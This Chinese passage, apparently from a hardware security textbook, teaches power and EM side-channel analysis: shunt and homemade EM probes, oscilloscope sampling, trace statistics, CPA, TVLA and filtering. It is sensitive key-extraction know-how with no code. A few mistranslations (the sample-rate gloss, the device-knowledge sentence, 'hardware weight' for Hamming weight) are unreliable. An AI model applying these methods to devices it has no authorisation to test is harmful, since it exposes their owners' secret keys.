你将对这些数据集进行各种统计分析,因此至关重要的是,你的数据集之间唯一的统计学差异应当是由输入数据的差异造成的。实际上,运行超过几小时的跟踪获取活动可能会在某些情况下出现可检测的变化,例如平均功率水平的变化(见本章稍后的“分析技术”部分)。如果你在第 0 分钟测量了 A 集,而在第 60 分钟测量了 B 集,那么你的统计数据肯定会显示这两个数据集之间的功率差异。这些功率差异可能看起来不显著,直到你发现怀疑的泄漏实际上是因为你的空调在第 59 分钟启动并冷却了目标设备,而不是因为目标设备存在泄漏。当你对多个数据集进行统计分析时,必须确保这些数据集之间的差异仅仅是由于输入数据造成的。这意味着,对于每个你测量的跟踪数据,你必须随机选择要生成输入数据的数据集。你也希望目标设备知道你正在为哪个数据集进行测量;目标设备只需要知道操作的数据。如果你将关于数据集的信息发送给目标设备,它将出现在你的跟踪数据中。如果你不是随机选择,而是交替选择数据集,它也会出现在你的跟踪数据中。这些无关的相关性非常难以调试,因为它们会表现为(错误的)泄漏,因此你应该努力避免它们。你是在检测极小的功率变化,而基于跟踪数据集运行的目标设备的开关语句将会掩盖任何有趣的泄漏。

测量探头

要执行侧信道攻击,你需要测量设备的功耗。在攻击你自己设计的目标板时,进行这种测量非常简单,但在真实设备上则需要更多的创意。我们将讨论两种主要方法:使用物理分流电阻和使用电磁探头。

插入分流电阻

如果尝试在“标准”电路板上测量功率,你需要对电路板进行一些修改,以便进行功耗测量。不同的电路板会有所不同,但例如,图 11-5 展示了如何通过抬起薄型四方扁平封装(TQFP)引脚,插入表面贴装电阻。

f11005

图 11-5:在 TQFP 封装的引脚中插入电阻

然后你需要将示波器探头连接到电阻的任一侧,这样你就可以测量电阻上的电压降,从而得出特定电压网的电流消耗。

电磁探头

一个更先进的替代方法是使用电磁探头(也叫做 H 场探头、近场探头或磁场探头),它可以放置在感兴趣区域的上方或附近。由此进行的分析称为电磁分析(EMA)。EMA 不需要对被攻击设备进行任何修改,因为探头只需直接放置在芯片上方或芯片周围的去耦电容器上方。这些探头通常以近场探头套件的形式出售,通常包括一个放大器。

这种方法有效的原理很简单。高中物理教我们,电流通过导线时,会在导线周围产生磁场。右手定则告诉我们,如果我们将导线握住,拇指指向电流方向,那么磁场线会沿着我们的手指方向围绕导线旋转。现在,芯片内部的任何活动实际上就是电流的开关。我们不是直接测量开关电流,而是探测它周围的开关磁场。这个原理基于这样一个事实:开关磁场会在导线中感应出电流。我们可以用示波器来测量这根导线,从而间接地反映出芯片中的开关活动。

自制电磁探头

作为购买探头的替代方法,你可以自己制作一个简单的探头。自己动手制作电磁探头是全家都能享受的乐趣,前提是全家人喜欢使用尖锐物品、焊接工具和化学品。除了探头外,你还需要制作一个低噪声放大器,用来增强示波器或其他设备测量到的信号强度。

探头本身由一段半柔性同轴电缆构成。你可以从各种来源购买这类电缆(例如 Digi-Key,eBay),查找“SMA 到 SMA 电缆”,比如 Crystek 部件号 CCSMA-MM-086-8,可以在 Digi-Key 以大约 10 美元的价格购买。将这根电缆剪成两段后,你就得到了两根半柔性电缆,每根电缆一端有一个 SMA 连接器(其中一个在图 11-6 中显示)。

f11006

图 11-6:用半柔性 SMA 电缆自制的电磁探头

在整个外部屏蔽上切一个槽 1。将末端剥去几毫米 2。轻轻将其圆成一个圆圈 3,用钳子夹住槽口,以防内部导线弯曲。完成基本探头时,将圆圈焊接闭合 4,确保内部导线包含在外部屏蔽之间的焊接连接中。

由于外部屏蔽是导电的,你可能需要给表面涂上一层非导电材料,比如像 Plasti Dip 这样的橡胶涂层,或者用自粘胶带将其包裹起来。

在这个探头的狭缝处拾取到的信号将会非常微弱,因此你需要一个放大器才能在示波器上看到任何信号。你可以使用一个简单的集成电路(IC)作为低噪声放大器的基础。它需要一个干净的 3.3 V 电源,因此建议将电压调节器也设计到电路板上。如果你的示波器灵敏度不够,甚至可能需要将两个放大器串联以获得足够的增益。图 11-7 展示了一个围绕着$0.50 集成电路(型号 BGA2801,115)构建的简单放大器示例。

f11007

图 11-7:电磁探头简单放大器

如果你想自己构建放大器,请参考图 11-8 的原理图。

侧信道测量的选择可能会显著影响信号和噪声特性。直接测量芯片所消耗的电力通常噪声较低,相比之下,例如电磁测量、声学侧信道(参见 Daniel Genkin、Adi Shamir 和 Eran Tromer 的《RSA 密钥提取:低带宽声学密码分析》),或者机箱电位的测量(参见 Daniel Genkin、Itamar Pipman 和 Eran Tromer 的《离我笔记本远点:PC 上的物理侧信道密钥提取攻击》)通常噪声较高。然而,直接的功率测量意味着你测量的是所有的功耗,包括那些你不感兴趣的过程所消耗的电力。在片上系统(SoC)中,如果你的探头精确地定位在泄漏的物理位置,电磁测量可能会得到更好的信号。你可能会遇到一些反制措施,它们可以最小化直接功率测量中的泄漏,但在电磁测量中没有限制,反之亦然。作为经验法则,在复杂的芯片和 SoC 上,先尝试电磁测量,在较小的微控制器上,先尝试功率测量。

f11008

图 11-8:电磁探头简单放大器原理图

确定敏感网

无论使用电阻分流器还是电磁探头,我们都必须确定需要测量设备的哪一部分。目标是测量执行敏感操作的逻辑电路的功耗——无论是硬件外设还是执行软件程序的通用核心。

在电阻分流的情况下,这意味着需要查看集成电路的电源引脚。这里你需要在为内部核心供电的引脚之一上进行测量,而不是那些为 I/O 引脚驱动器供电的引脚。小型微控制器可能有一个单独的电源供电给微控制器的所有部分。即便是这些简单的微控制器,也可能有多个名称相同的电源引脚,因此选择一个最容易接触到的引脚。一定要避免选择专门供给模拟部分的电源,比如模拟到数字转换器的电源,因为这些电源可能不会为你感兴趣的组件供电。

更先进的设备可能会有四个或更多电源供应。例如,存储器、CPU、时钟发生器和模拟部分可以都是单独的供应。再次强调,您可能需要进行一些实验,但几乎可以肯定,您想要的供应将是名称中带有 CPUCORE 的供应之一。您可以使用在第三章中帮助您挖掘的数据来识别最有可能的目标。

如果使用 EM 探针瞄准设备,您需要进行实验以确定探针的正确方向和位置。值得注意的是,将探针放置在围绕目标的去耦合电容器附近是有益的,因为高电流通常会流经这些部件。在这种情况下,您需要确定哪些去耦合电容器与设备的核心组件相关,类似于确定要瞄准哪个电源供应的方法。

在目标运行加密同时在屏幕上显示实时迹线捕获可以提供启发。随着探针的移动,您将看到捕获的迹线变化剧烈。一个经验法则是在加密阶段之前和之后找到一个场强较弱的地方,并且在执行加密过程时场强较强。同时显示一个“拥抱”操作的触发器也有帮助。手动移动探针以快速了解芯片各个部分的泄漏也是有好处的。

自动探针扫描

将探针安装在 XY 平台上,并在芯片的各个位置自动捕获迹线,可以更精确地定位感兴趣的区域。 图 11-9 展示了一个示例设置。

您可以使用 TVLA 来获得另一种很好的可视化效果,如本章后面“测试向量泄漏评估”部分所述。TVLA 测量泄漏而不进行 CPA 攻击,因此如果可视化 TVLA 结果,您将看到芯片区域的实际泄漏图。不利之处在于,为了计算 TVLA 值,您需要对每个芯片位置进行两套完整的测量集,这显著增加了您的迹线采集活动的时间。

探测更多的点增加了找到 正确 位置的机会,但降低了效率。在可视化中给出更连续数据梯度的空间分辨率进行扫描,以确保 XY 扫描步长小于探针的敏感区域。

当与本章后面描述的“用于可视化的过滤”部分结合使用时,扫描尤其引人关注。如果您知道目标操作的泄漏频率,您可以将该频率下的信号强度作为芯片上位置的函数进行可视化。这导致了如 图 11-10 所示的漏泄强度 XY 扫描可视化图,显示了 31 至 34 MHz 频段上芯片不同区域的漏泄强度。这些图像可以帮助定位感兴趣的区域,并且只需每个位置进行一次迹线测量即可完成。

f11009

图 11-9:Riscure 电磁探针安装在 XY 平台上的示例

f11010

图 11-10:芯片泄漏区域的 XY 扫描可视化

示波器设置

示波器是捕捉和展示来自磁性探针的泄漏信号的理想工具。你必须仔细设置示波器,以获取良好的信息。我们在第二章中讨论了示波器可用的各种输入类型,并提供了一些关于避免使用可能在非常小的信号上引入大量噪声的探头的一般建议。为了进一步减少噪声,通常需要对示波器的输入进行某种放大,以增强信号。

你可以使用差分放大器来做到这一点,它只放大两个信号点之间的差异。除了增强信号外,差分放大器还去除了两个信号点上存在的噪声(称为共模噪声)。在现实中,这意味着电源产生的噪声会被大部分去除,只留下你在测量电阻器上测得的电压变化。

示波器制造商出售商用差分探头,但它们通常非常昂贵。作为替代方案,你可以简单地使用商用运算放大器(或运算放大器)构建一个差分放大器。差分探头可以测量跨电阻器的功耗,以减少噪声的贡献。一个开放源代码设计作为 ChipWhisperer 项目的一部分提供,其中使用了 Analog Devices AD8129。 图 11-11 是该探头在物理设备上的使用照片。

f11011

图 11-11:差分探头在目标板上的使用

在图 11-11 中,差分探头有正极(+)和负极(–)引脚。这些引脚标记在黑色探头 PCB 的右下角。线缆 2 和 1 分别将正极和负极引脚连接到安装在目标 PCB 上的分流电阻的两侧。由于流入分流电阻的电力带有噪声,因此在这个例子中使用差分探头,我们希望去除这种共模噪声。

差分探头的电路图如图 11-12 所示,如果你对其连接细节感兴趣,可以参考此图。

f11012

图 11-12:差分探头电路图

采样率

到目前为止,我们假设你已经神奇地将测量数据读取到了计算机中。前几章简要解释了在设置示波器时,你需要选择一个合适的采样率。该采样率的上限取决于你为示波器支付了多少钱;如果你有足够的资金,你可以购买 100 GS/s(每秒 10 亿次采样)或更快的设备。

更多的采样不一定更好。较长的波形意味着需要大量存储空间和更长的处理时间。你可能希望以非常高的速率进行采样,然后在存储数据时进行下采样(即对连续采样进行平均),这将显著改善你的波形。首先,下采样实际上会虚拟增加示波器的量化分辨率。如果你的示波器有一个以 100 MHz 运行的 8 位 ADC,并且你对每两个样本进行平均,那么你实际上拥有的是一个以 50 MHz 运行的 9 位示波器。这是因为,如果一个样本值为 55,另一个样本值为 56,它们的平均值为 55.5。引入这些“半”值实际上增加了 1 位分辨率。或者,你可以对四个连续样本进行平均,以获得一个有效的 10 位示波器,运行在 25 MHz。

其次,快速采样可以减少测量中的时间抖动。触发事件发生在采样周期的某个时刻,示波器只有在下一个采样周期开始时才开始测量。触发事件与示波器采样时钟的异步性意味着触发事件和下一个采样周期之间存在抖动。这种抖动表现为波形对齐错误。

假设示波器以较慢的速率进行采样,如 25 MS/s,这意味着每 40ns 采样一次。每当触发事件发生时(即加密开始时),你会有一些延迟,直到下一个采样开始。这个延迟平均为 20ns(采样周期的一半),因为示波器的时间基准与目标设备的时间基准完全独立。

如果你以更快的速率进行采样(比如 1 GS/s),从触发到第一个采样开始的延迟将只有 0.5ns,或者说提高了 40 倍!一旦记录了数据,你就可以进行下采样以减少内存需求。所得波形将具有与在 25 MS/s 下进行捕获时相同的点数,但现在抖动不超过 0.5ns,从而显著改善侧信道攻击的结果(参见 Colin O'Flynn 和 Zhizhang Chen 的《内部振荡器的同步采样与时钟恢复用于侧信道分析与故障注入》)。

数字信号处理(DSP)的角度来看,真正的下采样使用滤波器,并且任何内置在你选择的编程语言的 DSP 框架中的下采样程序都应该支持这一点。然而,实际上,通过平均连续点进行下采样,或者仅保留每 40 个样本点,往往会保持可利用的泄漏。

一些示波器可以为你执行此操作;某些 PicoScope 设备具有硬件执行的下采样选项。请查阅示波器的详细编程手册,以查看是否存在此选项。

最后,你可以使用与设备时钟同步捕获的硬件。在附录 A 中,我们描述了专门设计用于执行此任务的 ChipWhisperer 硬件。一些示波器具有参考输入功能,通常允许输入最多 10 MHz 的同步参考信号。这个功能在现实生活中并不太有用,因为这意味着你必须将设备从一个 10 MHz 的时钟源(与示波器的同步参考信号相同)供电,以实现同步采样能力。

跟踪集分析与处理

到目前为止的假设是,你记录了功率跟踪并进行分析算法。实际上,你将包含一个中间步骤:预处理跟踪数据,这意味着在将数据传递给分析算法(如 CPA)之前,进行一些处理操作。所有这些步骤的目的是减少噪声,和/或提高泄漏信号的强度。此时,你的测量设置和 CPA 脚本应该是一劳永逸的。跟踪处理主要是一个试验和错误的过程,需要通过实验找到最适合你目标的方式。在本节中,我们假设你已经完成了一组跟踪数据的测量,但还没有开始进行 CPA 分析。

你可能使用的四种主要预处理技术包括归一化/丢弃重新同步过滤压缩(请参见本章后面的“处理技术”部分)。为了确定你的预处理步骤是否真正有效,我们首先描述一些分析技术,例如计算平均值标准差过滤(是的,又来了)、谱分析中间相关已知密钥 CPATVLA(按你应用它们的典型顺序列出)。你不一定需要全部使用它们,当你在一个简单的、完全可控的泄漏实验平台上进行分析时,可能可以完全忽略其中的大部分。这些技术都是标准的数字信号处理(DSP)工具,应用于功率分析的上下文中。可以参考 DSP 文献,寻找更先进的技术灵感。

随着你从实验平台过渡到在非理想情况下进行的实际测量,分析技巧变得更加宝贵。你将使用预处理技术,然后通过分析技巧检查其结果。如果你知道密钥,你可以通过已知密钥的 CPA 或 TVLA 来检查你的攻击是否有所改进。如果你不知道密钥,你需要不断尝试,直到认为自己准备好进行 CPA。如果成功了,太好了;如果没有,你将不得不回溯每一步,弄清楚是否应该尝试其他方法。不幸的是,这不是一门精确的科学,但这里描述的分析技术可以为你提供一些起点。

分析技术

本节描述了一些标准分析技术,这些技术提供了一个衡量信号是否足够好以进行 CPA 的指标。在 CPA 中,你使用不同的输入数据进行了测量。接下来的许多可视化图应首先使用相同的操作和相同的数据执行,之后随着接近 CPA 攻击时,你可以使用不同的信息。

每个追踪的数据采集活动中的平均值和标准偏差

假设你将每个追踪表示为一个单一的点——即该追踪中所有样本的平均值。回想一下 t[d,j],其中 j = 0,1,…,T - 1 是追踪中的时间索引,d = 0,1,…,D - 1 是追踪编号。你的计算公式是

e11001

绘制所有这些点展示了随着时间推移,平均值的变化,并可以帮助你发现追踪采集活动中的异常;例如,参见图 11-13。

f11013

图 11-13:每个追踪的所有样本的平均值,显示追踪 58、437 和 494 为异常值

一种异常类型是漂移的平均值——例如,由于温度变化(是的,你会看到空调启动)或由于某个完全的异常值,可能是由于错过了触发。你要么修正这些追踪,要么直接丢弃它们。(有关如何处理这些信息的详细内容,请参见本章稍后的“标准化追踪”部分。)标准偏差将为同一采集活动提供不同的视角。我们建议同时计算它们,因为计算开销微不足道。

每个操作的平均值和标准偏差(按样本)

计算平均值的另一种方法是按样本计算:

e11002

这个平均值有助于更清晰地展示你所捕获的操作的实际样子,因为它减少了幅度噪声。图 11-14 展示了上图中的原始追踪和下图中的样本平均追踪。

样本平均追踪使得过程步骤更加明显。然而,随着时间噪声的增加,它的有用性会下降。轻微的错位通常对可视化没有影响,因为你仅失去高频信号,但追踪错位越严重,你能看到的最高频率就越低。如果你的泄漏信号仅在高频部分,轻微的错位可能会对 CPA 产生不利影响。你可以通过观察更高频内容来利用平均值直观判断错位情况。

f11014

图 11-14:原始追踪(上)和样本平均追踪(下)

另一种有效的方法是计算每个样本的标准差。作为经验法则,标准差越低,错位越少,如图 11-15 所示。在这个例子中,300 到 460 个样本之间的时间具有较低的标准差,表明错位很小。

即使是完全对齐的轨迹,使用相同的操作,平均值和标准差仍然可能显示差异,这是由于数据差异引起的,因此表明数据泄漏。

f11015

图 11-15:轨迹集的标准差

可视化滤波

频率滤波可以作为生成轨迹数据可视化表示的一种方法。你可以大幅度地取消某些频率(通常是高频),以便更好地观察正在执行的操作,而无需对整个轨迹集计算平均值。通过对样本进行滑动平均,可以实现一个简单的低通滤波器(见图 11-16)。低通滤波器是清理轨迹数据可视化表示的快速方法。

f11016

图 11-16:原始轨迹(上)和低通滤波后的轨迹(下)

你也可以使用更精确且计算复杂的滤波器(见本章后面的“频率滤波”部分),但这样做对于可视化目的可能是过度的。这个可视化步骤仅仅是为了提供一个了解噪声下发生了什么的概念;它不是一个预处理步骤,因为你可能会同时去除泄漏信号。一个例外是一些简单的功率分析攻击:对 RSA 中的平方/乘法等依赖于密钥的操作进行可视化,可以破解私钥!

频谱分析

在时间域中你看不见的东西,可能在频率域中会可见。如果你不知道频率域是什么意思,可以考虑音乐和声音。如果你录制音乐,它捕捉的是时间域的信息:声音波通过时间产生的气压。但当你听音乐时,你听到的是频率域:不同音高的声音随时间的变化。

两种可视化通常非常有用:平均频谱,这是没有时间表示的“纯”频率域,和平均频谱图,它是频率和时间信息的结合。频谱显示了单个轨迹中每个频率的幅度,是一维信号。它通过计算轨迹的快速傅里叶变换(FFT)获得。频谱图显示了单个轨迹中所有频率随时间的变化。因为它增加了时间维度,所以它是二维信号。它通过对轨迹的小块进行 FFT 计算得出。

平均频谱和平均频谱图表示的是整个追踪集中的信号的平均值。当我们说查看平均值时,意思是我们首先计算每个单独追踪的信号,然后按每个样本将它们求平均。

图 11-17 所示的芯片频谱大约有 35 MHz 的时钟,可以从每 35 MHz 的频率峰值中看到。每 17.5 MHz 会有较小的峰值,表明存在重复的过程需要两个时钟周期。

f11017

图 11-17:整个追踪集的平均频谱

你可以进行一些有趣的分析。每 35 MHz 的频率峰值是由 35 MHz 方波的谐波引起的;换句话说,它们是由一个在 35 MHz 频率上开关的数字信号引起的。你是否建议这就是时钟?正确。频谱可以用来识别系统中一个或多个时钟域。

如果你的目标(加密)操作与其他组件的时钟频率不同,这种分析会特别有用。当你对两个平均频谱进行差分分析时,它会变得更加有效。假设你知道追踪中的某一时间段包含目标操作,而其余部分不包含目标操作。现在你独立计算这两个部分的平均频谱,并将其中一个从另一个中减去;也就是说,你计算这两个平均值之间的差异。你将得到一个差分频谱,准确显示目标操作期间哪些频率更加(或更少)活跃,这可以成为频率滤波的一个很好的起点(参见本章后面的“频率滤波”部分)。

查找操作频率的另一种方法是对追踪的频域进行已知密钥 CPA 分析。已知密钥 CPA 将在本章后面的同名章节中进行解释,但简而言之,由于你知道密钥,你可以找到未知密钥 CPA 恢复密钥的接近程度。要查找操作的频率,首先使用 FFT 转换所有追踪数据,然后对转换后的追踪进行已知密钥 CPA 分析。现在你可能能够看到泄漏出现在哪些频率上。你也可以用 TVLA 做同样的操作。这些方法并不总是有效,可能需要(显著)更多的追踪数据才能得到信号。

频谱分析的一个好处是它相对独立于时序,因此也不容易受到对齐错误的影响,因为我们并不关心信号的相位分量。你可以在频谱上进行 CPA,而不需要对追踪数据进行重新同步,尽管效率取决于泄漏的类型(参见 O. Schimmel 等人于 2010 年在 COSADE 大会上发表的“频域中的相关功率分析”)。

含有时序信息的频谱图也可以帮助你识别有趣的事件。如果你知道目标操作的开始时间,你可能能看到某些频率的出现或消失。或者,如果你不知道目标操作的开始时间,注意频率模式变化的时间点也可能会有所帮助。参见图 11-18,在该图中,整个频谱在例如 5ms 和 57ms 时刻明显发生了变化。

信号频率特性的变化可能是由于加密引擎的启动。与频谱分析不同,你现在正在查看基于时间的信息,因此这种频谱图方法对时序噪声更为敏感。

f11018

图 11-18:加密操作的频谱图(上图)和原始追踪(下图)

中间关联

现在你知道,你可以使用 CPA(相关功率分析)通过计算每个密钥假设的相关追踪来确定密钥。你还可以将相关追踪用于其他目的:例如,检测目标正在处理的其他数据值,例如明文或密文在某个操作中被使用。在本节中,我们假设你已经知道了要关联的数据值,因此不需要进行假设测试。最直接且有趣的候选数据值是由密码算法消耗和产生的明文和密文。通过已知的数据值和泄漏模型,你可以关联追踪并找出这些数据值是否以及何时泄漏。

假设你有一个 AES 加密算法,你知道每次执行时的明文,并且知道它泄漏了 8 位值的海明重量(HW)。现在,你可以将每个明文字节的 HW 与测量值进行关联,看看算法何时消耗它们;这也被称为输入关联。根据你的追踪采集窗口,你可能会看到很多关联时刻:每次总线传输、缓冲区复制或明文的其他处理操作都可能引起一个尖峰。然而,这些尖峰中的一个可能就是第一个AddRoundKey的实际输入,之后你可能会想要攻击替代操作。

另一个技巧是计算与密文的相关性;这也被称为输出关联。尽管明文尖峰理论上可以出现在整个追踪过程中,密文尖峰仅在加密操作完成后才会出现。因此,密文的第一个尖峰表明加密操作必须在该尖峰之前发生。一个好的经验法则是在第一个密文尖峰和紧接其前的明文尖峰之间寻找加密操作。

在密文相关性中观察到波动是一个好现象。这表明你拥有足够的轨迹、微不足道的对齐误差,并且泄露模型能够捕捉到密文。当然,如果没有看到波动,意味着你需要修正上述任何问题,而你可能不一定知道是哪一个。这个方法通常是通过反复试错进行的。请注意,使用 CPA 时,你攻击的是加密中间值,而不是明文或密文。因此,与明文或密文的相关性仅表明你的处理是正确的;实际的加密中间值可能需要稍微不同的对齐方式、不同的滤波器,或者更多的轨迹。

如果你知道加密执行的密钥,最终你可以使用的相关性技巧是中间 相关性。如果你知道密钥、密文或明文,并且了解加密实现的类型,你可以计算加密算法的所有中间状态。例如,你可以在 AES 的每一轮中,针对MixColumns的每个 8 位输出的硬件权重(HW)进行相关性分析。通过这种方式,你应该会看到每一轮有 16 个波动,这些波动彼此之间稍微有些延迟。这个思路可以扩展到对整个 128 位 AES 轮状态的硬件权重进行相关性分析,这适用于 AES 的并行实现。

你也可以利用这个技巧对泄露模型进行暴力破解——例如,既计算硬件权重(HW),又计算汉明距离(HD),然后观察哪一个出现的波动最大。缺点是你需要知道密钥,但优点是,如果你在这里看到波动,那么你就接近成功的 CPA 了。(你不能断定已经成功是因为 CPA 关注的是“正确波动”与“错误波动”的区别,而我们这里只分析了“正确波动”)。

已知密钥 CPA

已知密钥 CPA技术结合了本章前面讨论的 CPA 结果和部分猜测熵原则,用来判断你是否能够成功提取密钥。你需要计算完整的 CPA,然后使用 PGE 分析(对于每个子密钥)正确的密钥候选排名与轨迹数量之间的关系。一旦你看到子密钥的排名结构性下降,你就知道你有了一些线索。

当只有少数几个密钥的排名下降到非常低的时候,不要过于兴奋。统计数据可能会产生奇怪的结果。它们也可能随着轨迹集的增大而回升。只有当大多数密钥的排名下降并保持在低位时,你才可能找到了线索。我们也观察到相反的效果:9 个密钥字节排名为 1,而最后一个密钥却需要很长时间才能找到。同样,统计数据可能会产生奇怪的结果。只有当所有子密钥都排名较低时,你才进入了可以通过暴力破解来解决的阶段。

与中间相关性方法相比,这种方法实际上告诉你是否能够提取密钥。然而,计算复杂度要大得多;你需要计算每个密钥字节的 256 个相关值,而在中间相关性方法中只需计算一个相关值。和中间相关性一样,未能观察到峰值可能是由于轨迹不足、显著的对齐误差或不良的泄漏模型。这可能需要通过反复试验来确定。

测试向量泄漏评估

Welch 的 t 检验是一种统计检验,用于确定两组样本是否具有相等的均值。我们将使用这个检验来回答一个简单的问题:如果你将电源轨迹分成两组,这两组是否在统计上是可区分的?也就是说,如果我们用密钥 A 执行了 100 次加密操作,再用密钥 B 执行了 100 次加密操作,电源轨迹中是否存在可检测的差异?如果在某个时间点,密钥 A 和密钥 B 的设备平均功耗不同,那么这可能表明设备正在泄漏信息。

我们将这个测试应用于每一组电源轨迹的某一时间点。结果是这两组电源轨迹在该时间点具有相同均值的概率,无论标准差如何。我们将故意创建两组轨迹,每一组的目标进程处理不同的值。如果这些值导致平均功率水平发生变化,那么我们就知道存在泄漏。有关如何获取多个轨迹集和选择输入数据的更多信息,请参阅本章前面的“轨迹集分析与处理”部分。我们必须再次强调:如果你通过运行 100 条使用密钥 A 的轨迹,接着再运行 100 条使用密钥 B 的轨迹来生成这两组轨迹,那么你的轨迹是没有用的。统计测试几乎肯定会发现它们之间的差异,因为在每组轨迹采集时,物理变化(如温度)很可能已经发生。在每条轨迹的采集前,随机决定是使用密钥 A 还是密钥 B(而非目标 PC)。问问我们怎么知道。

我们可以绘制 Welch 的t值随时间变化的图像,并观察到泄漏发生时的峰值,类似于相关性轨迹。Welch 的t值是通过以下公式计算的:

e11003

其中 e11004 是第j时刻,跟踪集合A的平均样本值,var()是样本方差,D^(A)是跟踪集合A中的跟踪数量。w[j]的值越高,跟踪集合A和跟踪集合B在第j时刻由不同均值生成的可能性就越大。根据我们的经验,对于至少有几百个跟踪的跟踪集合,当w[j]的绝对值达到 10 及以上时,通常表示有泄漏,且如果w[j]达到 80 或更高,CPA 攻击可能会成功。在其他文献中,你经常会看到 4.5 这个值,根据我们的经验,这个值会导致一些假阳性。

我们将给你提供几个 AES 的样本集合,以便你能理解我们在这里追求的目标:

  1. 创建一个包含随机输入数据的集合和一个包含常量输入数据的集合。其想法是,如果目标没有泄漏,尽管处理过的数据特征明显不同,加密算法内部的功率测量应该在统计上是不可区分的。注意,输入数据传输到加密引擎的功率测量可能会泄漏,本测试将能够检测到这一点。显然,输入数据的差异不是真正的泄漏,不能被利用,因此需要警惕由于“输入泄漏”而引起的假* t *峰值。

  2. 创建一个集合,其中一个中间数据位X的值为 0,另一个集合中X的值为 1。当测试 AES 中的某个中间轮次的位时,例如在第 5 轮SubBytesMixColumns操作后的 AES 状态位时,这个例子最为有用。通过此测试,不会出现类似“输入泄漏”的假阳性;AES 第 5 轮的位与 AES 的输入或输出位几乎没有相关性。如果你想测试 Hamming 距离泄漏,还可以将位X计算为,例如,整个 AES 轮次的输入和输出的异或。你应该使用已知密钥执行此测试,但也可以使用完全随机的输入。由于你不知道哪个位X实际上泄漏,你可以计算所有可能的中间位的统计数据——例如,对于第 5 轮AddRoundKeySubBytesMixColumns后的 3 × 128 位状态(ShiftRows不翻转位)。

  3. 创建一个集合,其中中间值YA,另一个集合中中间值Y不为A。这是前一个思路的扩展。例如,你可以测试当SubBytes输出的一个字节值为 0x80 时,其功率测量是否有偏差。同样,你可以计算任何中间值Y和数值A的 t 检验,因此你可以对第 5 轮的Substitute输出状态进行 16 × 256 次测试。

  4. 创建一个集合,其中 AES 的整个 128 位轮 R 状态恰好有 N 位被设置为 1,然后创建另一个随机集合。这个方法很巧妙。假设我们选择轮 R = 5,然后生成一个 128 位的状态,假设有 N = 16 个随机选择的比特被设置为 1。这是一个显著的偏差:在正常情况下,平均而言,64 位会被设置为 1,而且这种偏差状态的出现几乎是不可能的。然而,使用已知的密钥,我们可以计算出在该密钥下,什么明文会生成这种偏差状态。由于密码学的特性,这些明文的字节将表现得像是均匀随机的。密文也是如此。事实上,在计算 t 时,理论上你唯一可能检测到的偏差实际上是在轮 R 中,因为不应存在其他偏差(除了轮 R – 1 和 R + 1 可能有一些轻微的偏差)。因此,你不会因为明文或密文的传输而看到 t 峰值。由于你是在偏置整个轮状态,因此你可能会用比之前方法更少的追踪检测到泄漏;因此,这是在任何 CPA 方法能够检测到之前,检测泄漏的一个很好的起始方法。

如你所见,你可以使用 t 检验来检测各种类型的泄漏。请注意,我们没有指定明确的功率模型,这使得 t 检验比 CPA 等方法更通用,作为泄漏检测器。特别是内轮的偏置会放大泄漏。t 检验是确定泄漏时机、EM 泄漏位置,或通过调优过滤器以获得 t 的最高值来改善滤波器的一个极好的工具。如果你有很多不对齐的情况,一个很酷的技巧是首先做一个 FFT,然后在频域计算 t,以找出你的泄漏在哪个频率上。

t 检验的缺点是,你可能需要密钥,而且这些测试并不实际进行密钥提取。换句话说,你仍然需要使用 CPA 并弄清楚一个功率模型,而且你可能不会成功。就像 CPA 一样,没看到峰值意味着你可能需要改进你的追踪处理。

因为你实际上并没有恢复密钥,所以 t 检验也容易产生假阳性。这些假阳性可能是因为与密码学泄漏无关的追踪组之间存在统计差异(例如,由于没有正确地随机化你的采集活动)。此外,t 检验还会检测与从密码学核心加载或卸载数据相关的泄漏,而这些泄漏可能对攻击没有用。t 检验只是告诉你两个组是否有相同或不同的均值,而 必须正确理解这意味着什么。然而,它确实是一个非常方便的工具,用来调整你的处理技术:如果 t 值上升,你就走在正确的方向上。

处理技术

在本章前面的“分析技巧”部分,我们介绍了一些标准方法,用于衡量信号是否足够好以用于 CPA。在本节中,我们将描述一些处理轨迹集的技术。一些实用的建议:每一步后都检查结果,并且星期天检查两次。否则,很容易犯错并永久丢失泄漏信号。提前发现问题要比等到你需要调试整个处理链时再发现更高效。

归一化轨迹

一旦获得了一组轨迹,计算每条轨迹的平均值和标准差总是有帮助的,正如本章前面“操作的平均值和标准差(每个样本)”部分所解释的那样。你将看到两件事:单条轨迹中的离群值会跳出“正常”范围,以及由于环境条件或采集中的错误/漏洞导致正常范围的缓慢漂移。为了提高轨迹集的质量,你需要通过只允许一定范围的平均值/标准差来剔除离群值。之后,你可以通过归一化轨迹来纠正漂移。一种典型的归一化策略是减去每条轨迹的平均值,并将所有样本值除以该轨迹的标准差。结果是,每条轨迹的平均样本值为 0,标准差为 1。

频率滤波

在使用示波器捕获数据时,我们可以在输入端使用模拟滤波器。这些滤波器也可以通过数字计算实现:各种环境提供的库可以轻松地将轨迹通过滤波器。比如 Python 中的 scipy.signal 和 C++中的 SPUC。数字滤波器构成了大多数数字信号处理工作的基础,因此大多数编程语言都有优秀的滤波库。

在进行频率 滤波时,目标是利用你感兴趣的泄漏信号或某些特定噪声源可能位于频谱的特定部分这一事实。(本章前面的“频谱分析”部分包含了如何分析频谱中的噪声或信号的描述。)

通过传递信号或屏蔽噪声,你可以提高 CPA 的有效性。你可能希望对基频信号的谐波应用相同的滤波器;例如,如果你的目标时钟频率是 4 MHz,保持 3.9–4.1、7.9–8.1、11.9–12.1 MHz 等频率可能会有所帮助。如果你的系统中有开关调节器向测量中添加噪声,你可能需要一个高通带通滤波器来消除这种噪声。通常,低通滤波可以帮助减轻这些系统中的高频噪声,但在某些情况下,泄漏信号完全位于高频部分,因此高通滤波会排除成功的任何机会!换句话说,这需要一些反复试验。

对于 DPA,您很可能会使用(多重)陷波滤波器来传递或阻止基频及其谐波。有限冲击响应(FIR)无限冲击响应(IIR)滤波器设计用于陷波滤波可能会比较复杂;您总是可以回到计算上更复杂的方式,通过进行 FFT,再通过设置幅度为 0 并进行反向 FFT 来屏蔽/传递频谱中的任意部分。

重新同步

理想情况下,我们知道加密操作发生的时刻,我们会触发示波器在这个确切的时间点进行记录。不幸的是,我们可能没有如此精确的触发器,而是基于向微控制器发送的消息触发示波器。微控制器接收到消息并执行加密之间的时间间隔不是恒定的,因为它可能不会立即对消息作出反应。

这种不一致意味着我们需要重新同步多个信号轨迹。图 11-19 显示了重新同步前的三个信号轨迹(未对齐的轨迹),以及重新同步后的三个信号轨迹(已对齐的轨迹)。

上面的三个信号轨迹没有同步。通过对这三个信号轨迹执行绝对差和(SAD)过程,同步后的输出显示了底部的清晰轨迹。

